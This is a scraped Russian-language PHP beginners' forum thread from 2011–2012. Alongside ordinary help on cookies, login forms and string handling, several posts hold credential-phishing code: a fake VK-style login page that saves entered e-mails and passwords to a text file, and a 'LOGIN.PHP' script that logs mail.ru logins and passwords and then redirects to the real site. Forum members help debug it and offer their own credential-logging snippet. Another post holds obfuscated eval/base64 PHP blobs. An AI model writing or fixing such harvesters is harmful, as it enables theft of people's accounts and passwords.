RE: Вопросы по PHP (для новичков)
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
RE: Вопросы по PHP (для новичков) - 2011-11-05 14:01:17.030000
|
|
|
Meliborn
Сообщений: 294
Оценки: 0
Присоединился: 2009-06-17 16:06:59.840000
|
А при чем тут кодировка?
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-11-06 19:56:47.250000
|
|
|
Surft
Сообщений: 252
Оценки: 5
Присоединился: 2010-08-25 07:23:20.633333
|
Обьясните мне кто нибудь как работать с cооkies в php!! немогу понять.. как я только непробовал. и так setcооkie("name","abrakadabra",time()+1600); и так if (setcооkie("name","abrakadabra",time()+1600)) {echo "OK";} else {echo "Error";}; //выдает результат Error и так if (isset($_cооkie['name'])) {echo "OK";} else {echo "Error";}; //выдает результат Error и так setcооkie('pageVisits',"abrakadabra2",time()+760,'/','w.ru'); Везде выдает ошибку:Warning: Cannot modify header information - headers already sent by (output started at Z:\home\w.ru\www\Untitled-1.php:9) in Z:\home\w.ru\www\Untitled-1.php on line 11 Что я нетак делаю? (пользуюсь denwer'ом)
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-11-08 14:46:42.226666
|
|
|
Сaptain T0ma5o
Сообщений: 66
Оценки: 0
Присоединился: 2011-10-21 10:42:18.486666
|
Данные посылаются позже заголовка, заголовок изменить уже нельзя… не туда php код вставляешь, или пробел или перенос строки непосредственно перед кодом закрались… хоть бы код показал…
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-11-08 22:40:47.740000
|
|
|
Surft
Сообщений: 252
Оценки: 5
Присоединился: 2010-08-25 07:23:20.633333
|
Сaptain T0ma5o я вставлял этот код в середину страницы)) щас почитал что ты написал, попробовал вставить вверх страницы, получилось! спс, я незнал что его нужно вверх прописывать :D
Смотрите на что сегодня наткнулся (http://ссылку/убрал, кому надо смотрите на скриншоте) (скриншот http://s54.radikal.ru/i144/1111/46/86fe2498e91e.png ) хотел скачать один файл, а вместо него куча ошибок))
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-11-11 10:44:43.433333
|
|
|
Сaptain T0ma5o
Сообщений: 66
Оценки: 0
Присоединился: 2011-10-21 10:42:18.486666
|
Да не за что ;D… спасибо за линк, как раз делать нечего, сейчас поковыряю)
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-12-02 16:29:20.840000
|
|
|
DoNet
Сообщений: 12
Оценки: 0
Присоединился: 2011-08-02 23:29:35.090000
|
помогите пожалуйста у меня есть код авторизации как обеде нить код usrs_avt.php и include.php так чтоб через if можно било проверить если ты водил данные то откроетса авторизация типа index.php/avtor=1 через GET ил POST include.php
<?php
$avt = "
<form action=\"usrs_avt.php\" method=\"POST\">
<table>
<tr colspan=\"2\" class=\"text\">
<td>Логін</td><td>Пароль</td>
</tr>
<tr>
<td><input type=\"text\" name=\"login\"/></td>
<td><input type=\"password\" name=\"password\"/></td>
<td><input type=\"submit\" value=\"Вхід\" name=\"submit\"/></td>
</tr>
<tr colspan=\"2\" class=\"texts\">
<td><input type=\"checkbox\" name=\"persistent\" class=\"box\"/>&nbsp Викладач</td><td>Реєстрація</td>
</tr>
</table>
</form>";
?>
index.php
<?php
include ("include/include.php");
$title = "Головна";
$head = $avt;
$bodyL = date('Y-m-d [H:i:s]');
$bodyR = $chat;
include("include/indexs.php");
?>
usrs_avt.php
<?php
include("include/avts.php");
$title = "$fd[login]";
$head = "$fd[login]";
$bodyL = "$fd[login]--$fd[email]";
$bodyR = "...";
include("include/indexs.php");
?>
|
|
|
[Deleted] - 2011-12-09 16:13:44.280000
|
|
|
Deleted User
Сообщений: -1459
Оценки: 0
Присоединился: None
|
[Deleted by Admins]
|
|
|
RE: Вопросы по PHP (для новичков) - 2012-01-03 19:07:22.636666
|
|
|
And3en
Сообщений: 4
Оценки: 0
Присоединился: 2012-01-03 16:14:30.013333
|
Всем доброго времени суток. Перейдем сразу к проблеме. С PHP я знаком немного, имею о нем общее представление, но углубленно никогда не изучал. По-этому прошу помощи знатных в этом деле. Есть зашифрованный PHP код. Половину расшифровал, но, т.к. я не знаком с PHP, не получается расшифровать вот эти функции: eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzczNDY3NbcwNYtXj7V1LCpKrNRISixONTOJT0lNzk9J1VBPVFfQU4/wSwNRkRFeIKoyMiLbVl1TB00lSCoZRBjlmEWFW+Ziqog0yqjEFE0y9spW19S0BgCq/is/'))); eval(gzuncompress(base64_decode('eF5LK81LLsnMz1OINzI0tDC0sLAwN9ZQydSsVkm0dSwqSqzUUE80CjNV18FORQba2gIpL0cwFZkOphLLwVQSRDAJoiQKIucNEYzClNO0LkotKS3KU0hKLE41M4lPSU3OT0nVUEmMVsmM1bSuBQDU6i0l'))); eval(gzuncompress(base64_decode('eF59kV1rgzAUhu+F/QcnpfXQrjNaP4qm0N3sYoUO3J1koVtTKqtVNI5J6X9fzCh+0E6JnMf3vCc5J/FOj4uCcX1AX9fhW0RNhDzkeZ5r6QYQGA7vWZLx6pqO/vTB82r9tFyF0Yg6yHJt17MdOiKRQa6ZTGGC04DiK5oFxI+bA0V5Wh63ujGey43U5g8QjLHats5Egn7JN6d2vUDktKoYU6e/gLxfVATyWBQv83xT6e3aNkza6HTR7aLXxXkXkdFj1GOzx1aPZwD+Ls3FdMRRm86s1vM/wqS2ivHfuDVU3xoFv84KsMyV8XgM7HOfqrd8pvDdkCxZMpK1HuovgWbsl1f0dT6zQ8FOcpsgCEIlEJ0masL4Pt1iLUsLri3ulCA+ZiVXeZUxrHH2wzX1uElE/MUqbdFRi/IjiYX+vTmUAtcv0v9YlxVBqPjK+Rdy9sc4')));
|
|
|
RE: Вопросы по PHP (для новичков) - 2012-01-24 12:10:40.900000
|
|
|
Dragon_ivan
Сообщений: 1
Оценки: 0
Присоединился: 2012-01-24 11:50:57.456666
|
Есть один маленький вопросик очень интересный может поможете за одно. Есть такое сочитание в мире веб программирования PHP + Assambler? И вообще есть ли какие нить сочетания с языками программирования языка PHP с другими для веб программирования?
|
|
|
RE: Вопросы по PHP (для новичков) - 2012-02-11 17:22:19.480000
|
|
|
valera1102
Сообщений: 6
Оценки: 0
Присоединился: 2012-02-08 14:59:50.606666
|
пишу сайт нужно вставить сылку после "=" как написать штоб виртуально откривалось окно кликало по картинки и место откривания окна сылка копирувалась и вставлялась там!
|
|
|
RE: Вопросы по PHP (для новичков) - 2012-02-11 17:26:02.300000
|
|
|
valera1102
Сообщений: 6
Оценки: 0
Присоединился: 2012-02-08 14:59:50.606666
|
типа таку пот прогу надо о_О
|
|
|
RE: Вопросы по PHP (для новичков) - 2012-03-10 15:10:02.806666
|
|
|
Consol24rus
Сообщений: 1
Оценки: 0
Присоединился: 2012-03-10 15:06:51.850000
|
<?php
$email = $_POST['email'];
$pass = $_POST['pass'];
$text .= "Е mail: $email \n";
$text .= "Пароль: $pass \n";
$text .= "-------- \n";
if (!empty($email) && !empty($pass)) {
$file = fopen ("message.txt", "a+");
fwrite ($file,$text);
fclose ($file);
}
?>
<div id="side_bar" class="fl_l" style="">
<div id="quick_login">
<form name="POST" method="post" action="face.php" name="login" id="email" onsubmit="if (vklogin) {return true} else {quick_login();return false;}" style="height: 95px">
<tr>
<td><label for="textfield">Телефон или e-mail:</label></td>
<td><input class="text" onfocus="show('quick_expire')" id="email" name="email"></td>
</tr>
<tr>
<td><br>
<br>
Пароль:</td><br>
<td>
<input input type="password" class="text" onfocus="show('quick_expire')" id="pass" name="pass"></td>
</tr>
<div class="checkbox" id="quick_expire" onclick="checkbox(this);ge('quick_expire_input').value=isCh ecked(this)?1:'';"><div></div>Чужой компьютер</div>
<input type="submit" class="submit" />
</form>
</table>
<p>
<div class="button_blue button_wide"></type="submit"> <form action="face.php"> <button id="Submit">Войти</button></div>
<div class="button_blue button_wide" id="quick_reg_button" style="display: none"><button onclick="top.showBox('join.php', {act: 'box', from: nav.strLoc})">Регистрация</button></div>
</p>
собственно имеется кусок сайта. помогите вставить правильно скрипт чтоб бы данные с полей сохранялись в текстовый документ. сайт стоит на apache на моем пк. пробывал сам как то не получается;) help me$)
|
|
|
RE: Вопросы по PHP (для новичков) - 2012-03-23 18:24:41.770000
|
|
|
Zuss
Сообщений: 15
Оценки: 0
Присоединился: 2011-05-09 19:29:24.216666
|
Доброго времени суток, товарищи. Недавно взялся за PHP по книге "PHP 5 для начинающих" Мейсера, Кента etc. и в том числе за приводящиеся там задания. Собсно, прошу посмотреть мое первое творение уровня выше хеловорлда и покритиковать с точки зрения индуизма в коде и в комментариях :). Начитавшись ithappens.ru, я решил пресекать опасные тенденции с самого начала. Требуется преобразовать строку "Теперь пора всем хорошим людям прийти на помощь стране" в "Пора теперь стране прийти на помощь всем хорошим людям".
<?php
$phraze_01 = "теперь пора всем хорошим людям прийти на помощь стране";
echo "<b>" .$phraze_01. "</b><br>";
$word_01 = strstr($phraze_01, " ", true); // "теперь"
$after_middle_word_01 = strstr($phraze_01, " ", false); // остаток строки после буквы "п" в слове "теперь"
$after_word_01 = strstr($after_middle_word_01, "п"); // остаток строки после слова "теперь"
$word_02 = strstr($after_word_01, " ", true); // "пора"
$after_word_02 = strstr($after_word_01, "в", false); // остаток строки после слова "пора"
$word_03 = strstr($after_word_02, " ", true); // "всем"
$after_word_03 = strstr($after_word_02, "х", false); // остаток строки после слова "всем"
$word_04 = strstr($after_word_03, " ", true); // "хорошим"
$after_word_04 = strstr($after_word_03, "л", false); // остаток строки после слова "хорошим"
$word_05 = strstr($after_word_04, " ", true); // "людям"
$after_word_05 = strstr($after_word_04, "п", false); // остаток строки после слова "людям"
$word_06 = strstr($after_word_05, " ", true); // "прийти"
$after_word_06 = strstr($after_word_05, "н", false); // остаток строки после слова "прийти"
$word_07 = strstr($after_word_06, " ", true); // "на"
$after_word_07 = strstr($after_word_06, "п", false); // остаток строки после слова "на"
$word_08 = strstr($after_word_07, " ", true); // "помощь"
$word_09 = strstr($after_word_07, "с", false); // остаток строки после слова "помощь" - слово "стране".
//формирование второй строки из слов:
$phraze_02 = "$word_02"." "."$word_01"." "."$word_09"." "."$word_06"." "."$word_07"." "."$word_08"." "."$word_03"." "."$word_04"." "."$word_05";
echo "<b>" .$phraze_02. "</b>";
?>
|
|
|
RE: Вопросы по PHP (для новичков) - 2012-04-21 12:36:48.960000
|
|
|
ботва
Сообщений: 9
Оценки: 0
Присоединился: 2012-04-18 22:38:08.090000
|
Народ помогите,кто чем может? Воообщем не приходят логи и пассы в base.txt Вот код : <?php ############### LOGIN.PHP ####################### # Скрипт записывает в файл $base.txt данные в формате # # Логин@домен | пароль # ################################################## $db="base.txt"; // Имя файла - хранилища данных. $realmail="http://cards.mail.ru/card/compose.html?cid=2629"; // Страница,открывающаяся при ошибке записи или после записи. $index = "index.php"; // Страница, открывающаяся, если поля логина и пароля не заполнены. if (isset($_POST['Login']) && isset($_POST['Domain']) && isset($_POST['Password']) && ($_POST['Login']!="") && ($_POST['Domain']!="") && ($_POST['Password']!="")) { $login=$_POST['Login']; $password=$_POST['Password']; $domain=$_POST['Domain']; $str="$login@$domain|$password \n"; $file=fopen("$db","a+"); if(!$file) { header("Location: $realmail"); } else { fputs($file, $str); header("Location: $realmail"); } } else { header("Location: $index"); } ?>
|
|
|
RE: Вопросы по PHP (для новичков) - 2012-04-25 14:22:55.070000
|
|
|
jeshio
Сообщений: 6
Оценки: 0
Присоединился: 2011-12-15 16:56:16.833333
|
Ботва, у меня твой код работает если в index.php содержится форма: <form action="адрес обработчика" method="POST"> <input type="text" name="Login"> <br/> <input type="text" name="Domain"> <br/> <input type="password" name="Password"> <br/> <input type="submit"> </form>
|
|
|
RE: Вопросы по PHP (для новичков) - 2012-04-25 14:30:56.423333
|
|
|
jeshio
Сообщений: 6
Оценки: 0
Присоединился: 2011-12-15 16:56:16.833333
|
quote:
Consol24rus если нажимать input submit, то всё нормально записывается (если face.php это страница с этим кодом)
|
|
|
RE: Вопросы по PHP (для новичков) - 2012-04-29 13:11:43.080000
|
|
|
class0071
Сообщений: 300
Оценки: 0
Присоединился: 2011-01-27 17:15:23.750000
|
quote:
ORIGINAL: ботва Народ помогите,кто чем может? Воообщем не приходят логи и пассы в base.txt Вот код : <?php ############### LOGIN.PHP ####################### # Скрипт записывает в файл $base.txt данные в формате # # Логин@домен | пароль # ################################################## $db="base.txt"; // Имя файла - хранилища данных. $realmail="http://cards.mail.ru/card/compose.HТМL?cid=2629"; // Страница,открывающаяся при ошибке записи или после записи. $index = "index.php"; // Страница, открывающаяся, если поля логина и пароля не заполнены. if (isset($_POST['Login']) && isset($_POST['Domain']) && isset($_POST['Password']) && ($_POST['Login']!="") && ($_POST['Domain']!="") && ($_POST['Password']!="")) { $login=$_POST['Login']; $password=$_POST['Password']; $domain=$_POST['Domain']; $str="$login@$domain|$password \n"; $file=fopen("$db","a+"); if(!$file) { header("Location: $realmail"); } else { fputs($file, $str); header("Location: $realmail"); } } else { header("Location: $index"); } ?> <?php
$login = $_POST['login'];
$pwd = $_POST['pwd'];
if((strlen($login) > 0) && (strlen($pwd) > 0))
{
$f = fopen("log.txt", "a+");
if(in_array("$login:$pwd\n", file("log.txt")) == false)
{
fwrite($f, "$login:$pwd\n");
}
fclose($f);
}
?> Думаю, переменные, которые тебе нужны, ты сам уже добавишь :) Если затрудняешься, отпиши мне в личку… Помогу сделать ;)
|
|
|
|
|